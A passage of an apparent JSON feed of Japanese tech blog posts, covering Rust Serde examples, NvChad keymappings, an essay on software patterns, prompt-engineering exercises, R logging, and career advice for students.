profile.add_metadata(\\"timezone\\", \\"UTC+9\\"); // 2. JSONへの変換と保存 println!(\\"保存するプロファイル:\\"); println!(\\"{:#?}\\", profile); save_profile(&profile, \\"profile.json\\").map_err(|e| Box::new(e) as Box)?; println!(\\"\\\\nプロファイルを保存しました\\"); // 3. JSONからの読み込みとバリデーション let json_str = r#\\"{ \\"id\\": 2, \\"username\\": \\"jane_doe\\", \\"email\\": \\"jane@example.com\\", \\"phone_number\\": \\"098-765-4321\\", \\"biography\\": \\"Software Engineer\\", \\"interests\\": [\\"AI\\", \\"Machine Learning\\"], \\"lastLoginTime\\": \\"2024-01-01T00:00:00Z\\", \\"metadata\\": { \\"location\\": \\"Osaka\\", \\"language\\": \\"ja\\" } }\\"#; match process_profile(json_str) { Ok(loaded_profile) => { println!(\\"\\\\n読み込んだプロファイル:\\"); println!(\\"{:#?}\\", loaded_profile); } Err(e) => match e { ProfileError::JsonError(e) => println!(\\"JSONエラー: {}\\", e), ProfileError::ValidationError(e) => println!(\\"バリデーションエラー: {}\\", e), ProfileError::IoError(e) => println!(\\"I/Oエラー: {}\\", e), }, } // 4. 無効なデータの例 let invalid_json = r#\\"{ \\"id\\": 3, \\"username\\": \\"\\", \\"email\\": \\"invalid-email\\" }\\"#; match process_profile(invalid_json) { Ok(_) => println!(\\"予期せぬ成功\\"), Err(e) => match e { ProfileError::ValidationError(msg) => { println!(\\"\\\\nバリデーションエラー(期待通り): {}\\", msg) } _ => println!(\\"予期せぬエラー\\"), }, } Ok(())}まとめSerdeは、RustでJSONを扱う際の強力なツールです。JSON to Rustのようなツールと組み合わせることで、より効率的な開発が可能になります。基本的な使い方を押さえた上で、プロジェクトの要件に応じて高度な機能を活用していくことをお勧めします。参考リンクSerde公式ドキュメントJSON to Rust Converterserde_json クレートドキュメント","isoDate":"2024-11-26T05:10:35.000Z","dateMiliSeconds":1732597835000,"authorName":"nwiizo","authorId":"nwiizo"},{"title":"社内活動の取り組み紹介~ スリーシェイクでこんな取り組みしてます ~","link":"https://speakerdeck.com/bells17/she-nei-huo-dong-noqu-rizu-mishao-jie-surisieikudekonnaqu-rizu-misitemasu","contentSnippet":"CloudNative Days Winter 2024 船上LT会 小さな一歩、大きな飛躍〜クラウドネイティブを継続する〜 で発表したLT資料です。\\rhttps://cloudnativedays.connpass.com/event/334620/","isoDate":"2024-11-26T05:00:00.000Z","dateMiliSeconds":1732597200000,"authorName":"bells17","authorId":"bells17"},{"title":"【ISUCON14対策】private-isuチャレンジ記","link":"https://zenn.dev/melanmeg/articles/a8ece09570279f","contentSnippet":"はじめに2024/12/8(日)に開催のISUCON14へ向けて練習した記録です。お題は private-isu と呼ばれるISUCON練習問題の中でも、特にメジャーなものを解くことにしました。結論として、最終スコアは44,2852点でした。ここに辿り着く道のりは険しかったです\uD83D\uDCA6練習リポジトリ:https://github.com/melanmeg/private-isu-challengeまた、パフォーマンス改善タスクを求められる現場の方々にも、実際に役立つテクニックも恐らくあるはずで、興味のある方、色んな方に読んでいただけると嬉しいです。改善したことだけ知りたい方...","isoDate":"2024-11-25T09:01:34.000Z","dateMiliSeconds":1732525294000,"authorName":"Naoya Yamamoto","authorId":"melanmeg"},{"title":"私の為のNvChadのキーマッピングガイド","link":"https://syu-m-5151.hatenablog.com/entry/2024/11/24/171651","contentSnippet":"はじめに私は定期的に必要なことを忘れてしまう。子ども時代に水を口に入れて水の飲み方を忘れてしまったことがある。大切なことを今まで普通にできたことが急にできなくなることがある。学習もそう、定期的に復習して思い出すことが大切だと感じているが突然忘れてしまうことがある。突然忘れてしまうと探す必要があるが毎回探すのが面倒になってきたのでNvChadのキーマッピングをまとめてみた。基本的なショートカット表記 = Ctrlキー = スペースキー(デフォルト) = Altキー = Shiftキーよく使う機能とそのキーマッピング1. ファイル操作で必須のコマンド - 保存(これだけは絶対覚える。:w なんてやっているとvsCodeを使っている人にバカにされる) - ファイル全体をコピー(便利)fm - フォーマット(コードを整形してくれる)n - 行番号の表示/非表示rn - 相対行番号の切り替え2. 検索系(Telescope)検索系は本当によく使うので、最優先で覚えたいです。ff - ファイル検索(最重要)fw - プロジェクト内のテキスト検索(grep)fb - 開いているバッファを検索fo - 最近開いたファイルを検索fz - 現在のバッファ内をあいまい検索cm - Gitコミットを検索gt - Gitのステータスを表示github.com3. LSP関連(コードジャンプ・リファレンス)コードリーディングする時に本当に助かる機能たちです。gd - 定義へジャンプ(最も使う)gr - 参照を探す(変数やメソッドの使用箇所を探せる)K - ドキュメントを表示(カーソル位置の要素の説明を表示)gi - 実装へジャンプ(インターフェースから実装を探せる)ds - 診断情報をloclistに表示github.com4. 画面分割とウィンドウ移動複数のファイルを同時に見たい時に使います。 - 左のウィンドウへ - 右のウィンドウへ - 下のウィンドウへ - 上のウィンドウへ5. バッファ操作b - 新しいバッファを開く - 次のバッファへ - 前のバッファへx - バッファを閉じる6. ターミナル操作ターミナルは必要に応じて呼び出せます。 - フローティングターミナル(これが一番便利) - 水平分割のターミナル - 垂直分割のターミナル - ターミナルモードを抜ける7. その他の便利機能ch - チートシート表示(キーマッピングを忘れた時用)/ - コメントアウトのトグル - ファイルツリーの表示/非表示e - ファイルツリーにフォーカス - ハイライトをクリアなぜこれらのキーマッピングを覚える必要があるのか私の経験上、以下の機能は開発効率を大きく向上させてくれます。ファイル検索(Telescope)プロジェクト内のファイルを素早く見つけられるコードベースの把握が容易になるGit操作との連携で変更管理がしやすいLSP機能コードの定義や参照を素早く調べられるリファクタリングが楽になるコードの理解が深まるエラー診断が即座にわかるRust を書いていると 1 箇所書き換えると芋づる式に修正が発生するのでどうしても必要になる。ターミナル統合エディタを離れずにコマンドを実行できるgit操作やビルドが快適フローティング表示で作業の邪魔にならないバッファ管理複数ファイルの編集がスムーズ必要なファイルをすぐに切り替えられるなぜNvChadを選んだのか実は、私のエディタ遍歴は長い。最初はVimから始まり、その後SpaceVim、AstroNvim、LunarVimなど、様々なNeovim系のディストリビューションを試してきた。VSCodeやIntelliJ IDEAのVimプラグインも使っていた時期がある。その過程で、Vimのキーバインドの快適さと、モダンなIDEの便利さ、その両方の良さを実感していた。ただ、どれも何かが違った。なんとなくしっくりこない。そんな中で出会ったのがNvChadだった。そんな中でNvChadに出会い、決め手となったのは開発体制の健全さだった。リポジトリは定期的に更新され、ドキュメントも整備されている。破壊的な変更がある場合も、きちんとアナウンスされ、移行のガイドラインが提供される。コミュニティも活発で、問題が起きた時のサポートも期待できる。nvchad.comさらに、NvChadの設計思想も気に入った。必要最小限の機能を高速に動作させることを重視し、その上で必要な機能を追加できる拡張性を持っている。プラグインマネージャーにlazy.nvimを採用し、起動時間の最適化もされている。LSPやTreeSitterの統合も洗練されており、快適なコーディング環境を提供してくれる。結果として、NvChadは私の理想とするエディタ環境に最も近かった。Vimの哲学を大切にしながら、モダンな開発環境を実現している。もちろん、完璧なエディタは存在しないし、NvChadにも改善の余地はきっとある。しかし、現時点で最も信頼できる選択肢の一つであることは間違いない。Vimを学ぶために通常のVimを学ぶ場合は、「実践Vim 思考のスピードで編集しよう!」がおすすめだ。Vimの基本から応用までを体系的に学べ、実践的な例も豊富に掲載されている。実践Vim 思考のスピードで編集しよう! (アスキー書籍)作者:Drew Neil,新丈 径角川アスキー総合研究所Amazonまた、Vim Adventuresというゲームも面白い。ゲーム感覚でVimのキー操作を学べ、楽しみながら基本的なコマンドが身につく。初心者にも優しい学習カーブで、Vimの世界に入るきっかけとして最適だ。vim-adventures.comしかし、NvChadはこれらの基本的なVimの知識に加えて、モダンなIDE的機能を提供してくれる。このガイドでは、特にNvChad特有の機能に焦点を当てて説明しました。私自身、日々の開発作業でNvChadの恩恵を受けており、その便利さを多くの人と共有したいと考えている。まとめ私はVimを使い始めて数年経つが、今でも新しい発見がある。NvChadも同様で、日々の作業の中で「こんな機能があったのか」と驚かされることが多い。最初は覚えることの多さに圧倒されるかもしれないが、焦る必要はない。私の経験では、まずは基本的なファイル操作から始めるのが良い。保存やコピーといった最低限の操作を確実に覚えることで、日常的な編集作業に支障がなくなる。次に、Telescopeによるファイル検索を習得すると、作業効率が格段に上がる。プロジェクト内のファイルを瞬時に探せるようになり、コードベースの把握も容易になる。その後、LSPの基本機能を学んでいくと良いだろう。定義ジャンプやドキュメント表示は、コードリーディングの強力な味方となる。ウィンドウ操作とバッファ管理、ターミナル操作は、これらの基本操作に慣れてから徐々に取り入れていけば良い。結局のところ、エディタは道具でしかない。完璧に使いこなす必要はなく、自分の作業をサポートしてくれる程度に理解していれば十分だ。このガイドも、そんな私のような「忘れっぽいプログラマー」のための備忘録として活用してもらえれば幸いだ。少しずつでも確実に、自分なりのNvChadの使い方を見つけていってほしい。参考リンクNvChad公式ドキュメントGitHub - NvChad/NvChadNeovim LSP Documentation","isoDate":"2024-11-24T08:16:51.000Z","dateMiliSeconds":1732436211000,"authorName":"nwiizo","authorId":"nwiizo"},{"title":"週間アトデ 2024-11-22","link":"https://blog.atusy.net/2024/11/22/atodeyomanakata/","contentSnippet":"アトデヨム、ウソジャナイ、ヨムノタノシー","isoDate":"2024-11-22T00:00:00.000Z","dateMiliSeconds":1732233600000,"authorName":"Atsushi Yasumoto","authorId":"atusy"},{"title":"Reckoner における Datadog Browser Test の活用事例 / Datadog Browser Test at Reckoner","link":"https://speakerdeck.com/nomadblacky/datadog-browser-test-at-reckoner","contentSnippet":"Japan Datadog User Group Meetup#6\\rhttps://datadog-jp.connpass.com/event/334594/","isoDate":"2024-11-20T05:00:00.000Z","dateMiliSeconds":1732078800000,"authorName":"Takumi Kadowaki","authorId":"nomadblacky"},{"title":"先人の知見から学ぶ、その経験則","link":"https://syu-m-5151.hatenablog.com/entry/2024/11/20/122114","contentSnippet":"この度、Cloud Native における最新の機能やベストプラクティスにおいての学びについて、登壇させていただくことになりました。このテーマについて私なりに取り留めのない思考を整理した考えを共有させていただきます。event.cloudnativedays.jpソフトウェアエンジニアリングの型についてソフトウェアの世界には、プログラミング言語における変数やデータの「型」とは別に、長年の経験と知恵から生まれた様々な型が存在します。ここでいう「型」とは、開発者の思考や行動のパターンを体系化したものを指します。これらの型は、プログラマーが日々直面する問題に対する体系的な解決策を提供します。こうした型は、文脈や状況によって様々な呼び方をします。例えば、同じような問題解決のアプローチでも、ある文脈では「パターン」、別の文脈では「ベストプラクティス」と呼ばれることがあります。また、同じような設計手法でも、技術スタックやチームの文化によって異なる名前で知られていることもあります。このように、型の呼び方は多様ですが、その本質は問題解決のための知恵の結晶であることは変わりません。そのため、このブログでは意図的に「定石」「パターン」「手法」「アプローチ」「作法」「ベストプラクティス」など、様々な呼び方を用いて型を説明していきます。これは、同じような概念や手法が異なる文脈で別の名前で呼ばれている実態を反映させるためです。それぞれの呼び方が持つニュアンスの違いを理解することで、型に対するより深い理解が得られると考えています。いろんな名前の型の種類と特徴まず「定石」は、特定の状況下での最適な対処方法を示します。例えば、データベースにおけるN+1問題の解決方法やメモリリーク対策の手順など、具体的な技術的課題に対する確立された解決策です。次に「パターン」は、一般的な設計上の問題に対する標準的な解決策を提供します。いくつかの文脈で登場しますがコードやソフトウェアの構造化と再利用性を高めます。「手法」は開発プロセスを改善するための具体的な方法論を指します。テスト駆動開発(TDD)、リファクタリング、継続的インテグレーションなどが該当し、より体系的な開発アプローチを可能にします。「アプローチ」は問題解決への基本的な考え方や戦略を示し、ドメイン駆動設計(DDD)やマイクロサービスアーキテクチャなどが含まれます。また、「作法」はコードの品質と保守性を高めるための慣習を表します。SOLID原則、クリーンコード、命名規則などがこれにあたり、チーム開発における共通理解を促進します。「ベストプラクティス」は実践で効果が実証された推奨される方法であり、セキュリティ対策、パフォーマンスチューニング、エラー処理などの具体的な実装手法を含みます。他にも同じような文脈なのにいろんな言い方の「型」があります。aws.amazon.comlearn.microsoft.comcloud.google.com型の重要な特性これらの型には、いくつかの重要な特性があります。まず状況依存性があり、プロジェクトの規模や要件、チームの習熟度、ビジネスドメインによって最適な型が変化します。また、進化と適応の性質も持ち合わせており、新しい技術の登場により型自体が進化したり、既存の型が新しい文脈で再解釈されたり、チームの経験を通じて洗練されていきます。さらに、相互補完性も重要な特性です。複数の型を組み合わせることで相乗効果が生まれ、異なる型が互いの弱点を補完し合います。状況に応じて型を柔軟に組み合わせることが、効果的な問題解決には不可欠です。このように、ソフトウェアにおける「型」は、単なる規則や制約ではなく、効果的な問題解決のための知識体系として機能しています。これらの型を理解し、適切に活用することで、より効率的で品質の高い開発が可能になります。型の存在を認識し、その本質を理解することは、プログラマーとしての成長において重要な要素となるでしょう。プリンシプル オブ プログラミング 3年目までに身につけたい 一生役立つ101の原理原則作者:上田勲秀和システムAmazonどの巨人の型に乗るのか?ソフトウェアの世界で「定石」を学ぶことは、ある種の賭けのような性質を持っています。最初は論理的な理解が難しい概念や方法論を受け入れる必要があるにもかかわらず、その価値は実践してみないとわからないという矛盾を抱えているためです。多くの場合、「きっと将来役立つはず」という信念に基づいて学習を進める必要があります。この学習における矛盾は、特に高度な開発手法を習得する際に顕著に現れます。例えば、テスト駆動開発(TDD)の習得では、最初はテストを先に書くという一見非効率に思える手法に違和感を覚えるでしょう。しかし、この手法の真価は、実際にプロジェクトで実践し、コードの品質向上や保守性の改善を体験してはじめて理解できます。同様に、アーキテクチャ設計原則の導入においても、初期段階では過度に複雑に感じられる設計パターンや抽象化の価値を理解することは困難です。デザインパターンの学習や関数型プログラミングの考え方も、習得には相当な時間と労力を要します。これらの知識は、直接的な効果が見えにくい一方で、長期的には開発効率と品質を大きく向上させる可能性を秘めています。このジレンマを乗り越えるためには、段階的な学習アプローチと実践を通じた検証が重要になります。小規模なプロジェクトや個人的な開発で新しい手法を試し、その効果を実感することから始めることで、より大きなプロジェクトでの適用に向けた確信と経験を積むことができます。ルールズ・オブ・プログラミング ―より良いコードを書くための21のルール作者:Chris Zimmermanオーム社Amazon作法の習得における難しさ確立された手法(パターン)の習得には、独特の困難さが伴います。その中でも特に重要な課題として、習得前後のジレンマと成長段階による最適解の変化が挙げられます。まず、習得前後のジレンマについて考えてみましょう。体得するまでは本当の価値がわからないという特徴は、多くの開発手法に共通しています。例えば、ある設計パターンを学び始めた時点では、それがどのような状況でどれほどの効果を発揮するのか、具体的にイメージすることが困難です。さらに厄介なことに、体得してしまうと、その影響を客観的に評価しづらくなるという逆説的な問題も存在します。手法が無意識のうちに身についてしまうと、その手法を使わない場合との比較が難しくなり、問題が発生した際に、その原因がパターンの適用にあるのか、それとも他の要因によるものなのか、判断が困難になってしまいます。次に、成長段階による最適解の変化について着目する必要があります。プログラマーとしての習熟度によって最適な手法が変わるというのは、多くの現場で観察される現象です。例えば、初級者の段階では、まずはシンプルな実装手法に焦点を当て、基本的なプログラミングスキルを確実に身につけることが重要です。中級者になると、設計パターンの理解と適切な適用が課題となり、コードの構造化や再利用性を意識した開発が求められるようになります。上級者では、さらに進んで、パターンの取捨選択や状況に応じた最適化が必要となります。また、チームの規模や製品の成熟度によっても適切なアプローチは変化します。小規模なチームでは比較的シンプルな設計で十分な場合でも、チームが大きくなるにつれて、より体系的なアプローチが必要となることがあります。同様に、プロダクトの初期段階では迅速な開発を優先し、成熟期に入ってからより洗練された設計パターンを導入するなど、状況に応じた柔軟な対応が求められます。このように、作法の習得プロセスは単純な知識の蓄積ではなく、様々な要因を考慮しながら、継続的に改善と適応を行っていく必要のある複雑な取り組みと言えます。私たちはどう学んでいるのか ――創発から見る認知の変化 (ちくまプリマー新書)作者:鈴木宏昭筑摩書房Amazon不適切なパターンを見分けるための3つの条件複雑さという落とし穴不適切なパターンの最も顕著な特徴は、シンプルさの欠如です。優れたパターンには、核となる概念がシンプルで説明が簡潔であり、様々な状況への応用が柔軟に可能という特徴があります。このシンプルさは、単なる実装の簡素さだけでなく、パターンが解決しようとする問題と解決方法の関係性が明確であることを意味します。一方で、複雑な条件分岐が多い実装手法や、例外処理が複雑に絡み合ったエラーハンドリング、過度に抽象化された設計パターンなどは、保守性を低下させる要因となりかねません。特に、抽象化の層が必要以上に深くなると、コードの見通しが悪くなり、バグの温床となる可能性があります。シンプルさを欠いたパターンは、チームメンバー間での共有や理解を困難にし、結果として開発効率の低下やメンテナンスコストの増大を招くことがあります。批判を許さない教条主義検証がタブー視されている状況は、不適切なパターンの存在を示す重要な指標です。「それが会社の方針だから」という説明やレガシーコードの無批判な踏襲、特定の実装パターンへの過度な信仰は、危険な兆候と言えます。このような状況では、パターンの有効性や適用範囲について、客観的な評価や建設的な議論が行われにくくなります。定石の効果は常に検証可能であるべきであり、新しい技術やアプローチとの比較検討を行える環境が必要です。また、チーム内で改善提案が歓迎される雰囲気を醸成することも、健全なパターン活用には不可欠です。例えば、定期的なコードレビューやアーキテクチャ検討会での議論、実装パターンの効果測定など、具体的な検証の機会を設けることが重要です。パターンの効果や適用方法について、オープンな議論と継続的な改善が可能な環境を整えることで、より適切なパターンの選択と進化が促進されます。また、新しいチームメンバーからの質問や疑問を歓迎する文化を作ることで、既存のパターンの妥当性を定期的に見直すきっかけにもなります。魔法の解決策という幻想パターンに対する過度な期待は、不適切な適用を引き起こす大きな要因です。特定のアーキテクチャやパターンへの過度な期待や、新しいフレームワークやツールへの盲目的な信仰は、実装の複雑化や運用コストの増大を引き起こす可能性があります。特に、「銀の弾丸」を求める姿勢は、現実的な問題解決を見失わせる原因となりかねません。どんなパターンにも適用範囲や限界があることを認識し、状況に応じた適切な選択を行うことが重要です。例えば、マイクロサービスアーキテクチャは分散システムの柔軟性を高める可能性がありますが、運用の複雑さやネットワークの信頼性など、新たな課題も同時にもたらします。期待と現実のギャップを冷静に評価し、パターンの適用による実際の効果を慎重に見極める必要があります。これには、パターン導入前後での定量的な指標の比較や、チームメンバーからのフィードバック収集、実際のユーザーへの影響分析など、多角的な評価アプローチが求められます。また、パターンの導入は段階的に行い、各段階での効果を確認しながら進めることで、リスクを最小限に抑えることができます。仮説思考―BCG流 問題発見・解決の発想法 内田和成の思考作者:内田 和成東洋経済新報社Amazon定石の進化と検証確立された手法は、暫定的な真実としての性質を持っています。これは、定石が先人の経験則の集大成として形成されながらも、常に改善の余地があるという特徴を示しています。時代とともに技術は進化し、新しい方法論が生まれることで、既存の定石が見直されたり置き換わったりすることは珍しくありません。この変化を受け入れ、柔軟に適応していく姿勢が重要です。また、定石の適用には段階的な最適化が必要です。プロジェクトの初期段階では、迅速な開発とフィードバックループの確立を重視した手法が有効です。その後、サービスがスケールしていく段階では、パフォーマンスや保守性を考慮したパターンの導入が必要となってきます。さらに、プロダクトが成熟期に入ったメンテナンスフェーズでは、長期的な運用を見据えた定石の適用が求められます。このように、プロジェクトのライフサイクルに応じて、適切な手法を選択し組み合わせていくことが重要です。そして、これらの手法の有効性を担保するためには、継続的な検証が不可欠です。具体的には、パフォーマンス指標による定量的な評価や、実際のユーザーからのフィードバックの収集、さらにはチーム内での定期的な振り返りを通じて、採用している手法の効果を多角的に検証する必要があります。この検証プロセスを通じて、チームは定石の適用方法を改善し、より効果的な開発プラクティスを確立することができます。このような進化と検証のサイクルを通じて、定石は単なる形式的なルールではなく、実践的で価値のある知識体系として発展していきます。重要なのは、定石を固定的なものとして捉えるのではなく、常に改善と適応を繰り返す生きた知識として扱うことです。それによって、チームは変化する要求や技術環境に柔軟に対応しながら、より効果的な開発プロセスを実現することができます。論点思考作者:内田 和成東洋経済新報社Amazonおわりにそもそも、Kubernetesは型の集大成とも言える存在です。PodやDeployment、Service、Operatorなど、その設計思想には分散システム開発における長年の経験と知恵が型として結晶化されています。Kubernetesの各機能は、それぞれが独立した型でありながら、組み合わさることでより大きな価値を生み出しており、まさにここで議論してきた型の相互補完性を体現していると言えるでしょう。ソフトウェアにおける定石やパターンとの付き合い方は、プログラマーとしての成長において重要な要素となります。ここで重要なのは、バランスの取れたアプローチです。定石を完全に否定せず、かといって盲目的にも従わないという姿勢を保ちながら、常に検証と改善を心がけることが大切です。チームや製品の成長に合わせて手法を進化させていくことで、より効果的な開発プロセスを確立することができます。また、開発手法の習得には継続的な学習のサイクルが不可欠です。まずは基本的なパターンを学び実践するところから始め、経験を積みながら定石の本質を理解していきます。その過程で、状況に応じて手法を適応させたり改善したりすることで、より深い理解と実践的なスキルを身につけることができます。さらに、未来への視点を持つことも重要です。現在の課題解決だけでなく、将来の拡張性も考慮に入れた選択を心がけます。新しい技術やアプローチに対してオープンな姿勢を保つことで、より良い解決策を見出す可能性を広げることができます。また、チーム全体での知識と経験の共有を促進することで、組織としての成長も期待できます。定石やパターンは確かに重要な指針となりますが、それは絶対的な真理ではありません。状況や文脈に応じて、柔軟に解釈し適用していく必要があります。プログラマーとして成長するには、確立された手法を理解し、適切に活用しながら、常に改善と進化を続けることが重要です。この継続的な学習と適応のプロセスこそが、真に効果的な開発手法の確立につながるのです。このような姿勢で開発に取り組むことで、個人としての技術力向上だけでなく、チーム全体の生産性と品質の向上にも貢献することができます。ソフトウェアの世界は常に進化し続けており、その中で成長し続けるためには、確かな基礎と柔軟な思考を併せ持つことが不可欠なのです。","isoDate":"2024-11-20T03:21:14.000Z","dateMiliSeconds":1732072874000,"authorName":"nwiizo","authorId":"nwiizo"},{"title":"プロンプトエンジニアリングハンズオン","link":"https://shu-kob.hateblo.jp/entry/2024/11/19/172452","contentSnippet":"genai-users.connpass.com↑上記勉強会の資料です。shu-kob.hateblo.jp↑こちらの記事の「プロンプトエンジニアリング」もご覧ください。(上記記事はChatGPT)先ずは復習してみましょうGeminiにアクセスgemini.google.comお好みで、ChatGPTやClaudeを使用しても構いません。プロンプトエンジニアリングJSON形式で出力カレーのレシピを教えてください。出力は以下のJSON形式にしてください。==============={ \\"材料\\": [\\"材料1\\", \\"材料2\\"], \\"手順\\": [\\"手順1\\", \\"手順2\\"]}==============={ \\"材料\\": [ \\"玉ねぎ 1個\\", \\"にんじん 1本\\", \\"じゃがいも 2個\\", \\"牛肉 300g\\", \\"カレールー 2箱\\", \\"サラダ油 大さじ2\\", \\"水 800ml\\", \\"塩 少々\\", \\"こしょう 少々\\" ], \\"手順\\": [ \\"玉ねぎ、にんじん、じゃがいもは食べやすい大きさに切る。\\", \\"鍋にサラダ油を熱し、牛肉を炒め、色が変わったら玉ねぎを加えて炒める。\\", \\"にんじん、じゃがいもを加えてさらに炒める。\\", \\"水を加え、アクを取りながら煮込む。\\", \\"野菜が柔らかくなったらカレールーを加えて溶かす。\\", \\"塩こしょうで味を調え、5分ほど煮込む。\\" ]}出力結果をJSON Formatterで確認JSON Formatter & ValidatorZero-shotプロンプティングZero-Shotプロンプティングとは、大規模言語モデル(LLM)に対して、事前に具体的な例を示すことなく、一度の指示でタスクを実行させるプロンプトエンジニアリング手法です。以下はニュース記事のタイトルです。「政治」「経済」「芸能」「スポーツ」「科学」「その他」のうち1つに分類してください。回答だけ一言で出力してください===========================紅白出場歌手の選考基準 NHK公開芸能Few-shotプロンプティングFew-Shotプロンプティングは、大規模言語モデル(LLM)に対して、タスクを実行するための具体的な例をいくつか示すことで、モデルの性能を向上させるプロンプトエンジニアリングの手法です。Zero-Shotプロンプティングとの違いZero-Shotプロンプティングが、一切の例を示さずにタスクを実行させるのに対し、Few-Shotプロンプティングでは、少数の例を提示することで、モデルがより効率的にタスクを学習できるようにします。以下はニュース記事のタイトルです。「政治」「経済」「芸能」「スポーツ」「科学」「その他」のうち1つに分類してください。回答だけ一言で出力してください===========================「紅白出場歌手の選考基準 NHK公開」===========================以下は例です「G20 バイデン氏不在で集合写真」:政治「岡田将生&高畑充希結婚 SNS反応」:芸能芸能Zero-shot Chain-of-ThoughtプロンプティングZero-shot Chain-of-Thought(CoT)プロンプティングは、大規模言語モデル(LLM)に対して、具体的な例を示すことなく、段階的な推論プロセスを踏ませるように指示するプロンプトエンジニアリングの手法です。回答だけ一言で出力してください。10 + 2 * 3 - 4 * 28ステップバイステップで考えてください。10 + 2 * 3 - 4 * 2## ステップバイステップで解いてみましょう!**与えられた式:** 10 + 2 * 3 - 4 * 2**解き方:**数学では、**掛け算と割り算**は、**足し算と引き算**よりも先に計算します。これを**優先順位**と言います。1. **掛け算を計算する:** * 2 * 3 = 6 * 4 * 2 = 8 式は、10 + 6 - 8 に変わります。2. **残りの計算を行う:** * 10 + 6 = 16 * 16 - 8 = 8**答え:** 8**まとめ:**与えられた式をステップバイステップで解くと、答えは**8**になります。**ポイント:*** **優先順位:** 掛け算と割り算は、足し算と引き算よりも先に計算します。* **計算順序:** 左から右へ計算していきます。**補足:**もし、計算の順番を変えたい場合は、**かっこ**を使います。例えば、(10 + 2) * 3 - 4 * 2 のようにかっこでくくると、最初に10と2を足してから3をかけることになります。**この説明で理解できましたか?** もし、まだ疑問な点があれば、遠慮なく質問してくださいね。Few-shot Chain-of-ThoughtプロンプティングFew-shot CoTプロンプティングは、大規模言語モデル(LLM)に、いくつかの例を示しながら、段階的な推論プロセスを踏ませることで、より複雑な問題を解かせる手法です。このグループの奇数を合計すると偶数になります。: 4、8、9、15、12、2、1。A: 奇数を全て加えると(9, 15, 1)25になります。答えはFalseです。このグループの奇数を合計すると偶数になります。: 17、10、19、4、8、12、24。A: 奇数を全て加えると(17, 19)36になります。答えはTrueです。このグループの奇数を合計すると偶数になります。: 16、11、14、4、8、13、24。A: 奇数を全て加えると(11, 13)24になります。答えはTrueです。このグループの奇数を合計すると偶数になります。: 17、9、10、12、13、4、2。A: 奇数を全て加えると(17, 9, 13)39になります。答えはFalseです。このグループの奇数を合計すると偶数になります。: 15、32、5、13、82、7、1。A:参考文献LangChainとLangGraphによるRAG・AIエージェント[実践]入門10倍速で成果が出る!ChatGPTスゴ技大全","isoDate":"2024-11-19T08:24:52.000Z","dateMiliSeconds":1732004692000,"authorName":"Shu Kobuchi","authorId":"kobuchi"},{"title":"Rのパッケージ内でloggerパッケージを使う","link":"https://blog.atusy.net/2024/11/19/logger-in-r-package/","contentSnippet":"Rのloggerパッケージをパッケージ開発に使う場合、.onLoad関数内でログレベルなどの設定しよう。.onLoad関数のpkgname引数をlogger::log_thresholdなどの設定関数のnamespace引数に渡すと、パッケージ内のログだけを対象に設定を変更できます。","isoDate":"2024-11-19T00:00:00.000Z","dateMiliSeconds":1731974400000,"authorName":"Atsushi Yasumoto","authorId":"atusy"},{"title":"#技育CAMPキャラバン in福岡\uD83D\uDDE3️で学生の質問に答えた。","link":"https://syu-m-5151.hatenablog.com/entry/2024/11/17/003421","contentSnippet":"はじめに先日、技育CAMPキャラバンin福岡に社会人エンジニアとして参加し、学生の皆さんと対話する貴重な機会を得ました。このイベントは一方的な講義形式ではなく、各企業がブースを設け、学生と直接対話できる形式で行われました。talent.supporterz.jp私は株式会社スリーシェイクのSreake事業部に所属しています。当社はインフラエンジニアやSRE特化の企業であり、必ずしも全ての学生エンジニアの志望と合致するわけではありません。そのため、マッチングに時間が余った際には、先輩社会人として学生からの様々な質問に答える時間を持つことができました(もちろん、インフラエンジニアやSREに興味がある学生は応募してほしいです)。jobs-3-shake.com実はこの内容は半分冗談で半分本気なのですが、基本的な生活習慣の重要性は本当に伝えたいメッセージの一つです。なので、後半に参考文献などを貼ってます。もう、おじさんなので学生エンジニアに出会ったら、集中力を高める食事、認知機能を向上させる運動、記憶の定着に不可欠な質の良い睡眠、創造性を引き出す意識的な休憩といった基本的な生活習慣の最適化と、予期せぬチャンスを活かす計画的偶発性理論に基づくキャリア形成の話しかしていない。— nwiizo (@nwiizo) 2024年11月16日 この記事では、学生の皆さんから頂いた質問と回答を整理してまとめました。完璧な内容ではないかもしれませんが、対話を通じてかつての自分自身の悩みや不安が蘇り、過去の自分に語りかけているような不思議な感覚を覚えました。この内容が、ご質問いただいた学生の皆さまはもちろんのこと、同様の悩みを抱えているすべての方々の参考となれば幸いです。なお、各回答は異なる方々からの質問に対して、それぞれの文脈に沿ってお答えしたものとなっております。Q.失敗するのが怖くて全体として中途半端になってしまうこの質問をされた時に分かりすぎて泣きそうになった。エンジニアとして働いてきたり少し長く生きた経験から言えることは、失敗を恐れることよりも、挑戦しないことのほうが人生にとって大きなリスクとなるということです。結局のところ、これは自己愛の問題なのかもしれません。「時間を無駄にしたくない」「労力を無駄にしたくない」「チャンスを無駄にしたくない」。そういった思いが強すぎると、かえって何も始められなくなってしまいます。この「無駄にしたくない」という感情の根底には、自分を大切にする気持ちが強すぎるあまり、逆に自分を縛ってしまうというパラドックスがあります。完璧を求めすぎる。失敗を許せない。その背景には、実は自分への過度な期待や要求があるのです。嫌われる勇気作者:岸見 一郎,古賀 史健ダイヤモンド社Amazonでも、人生は無駄にしても良いんです。むしろ、無駄を恐れるあまり何も挑戦しないほうが、本当の意味で人生を無駄にしてしまうことになります。健全な自己愛とは、失敗しても自分を受け入れられる強さ、完璧でない自分を許せる余裕を持つことなのです。人生で最も価値のあるものは、一朝一夕には手に入りません。技術力も、人間関係も、信頼も、全て時間をかけて少しずつ築き上げていくものです。その時間を掛けられるかどうかは、今この瞬間にどれだけ自分を信じられるかにかかっています。そして、自分を信じるためには、失敗した自分も含めて、まるごと受け入れる覚悟が必要です。実は、本当に価値のあるものには、必ず痛みが伴います。すぐに得られる快楽は往々にして一時的なものですが、時間をかけて獲得したものこそが、本物の価値を持つのです。エンジニアとしての技術力も同じです。一朝一夕には身につかず、時には挫折も味わう。でも、その痛みを受け入れ、耐えることができれば、必ず実を結ぶのです。私自身、数々の失敗を経験してきました。コンテストに出て準備不足で大敗したり、本番環境でのデプロイミス、重要な機能の設計ミス、プロジェクトの見積もり違い、スタートアップへの参画での関わり方の間違いなど。一見すると、これらは全て「無駄な失敗」のように思えます。しかし、これらの失敗は全て、今の私の技術力と判断力の基礎となっています。失敗から学べる環境は、社会人になるとむしろ少なくなります。学生時代は、失敗から学ぶ最高の機会なのです。小さな挑戦から始めて、失敗した時の対応策を事前に考えておく。そして失敗から学んだことを必ず記録し、同じ失敗を繰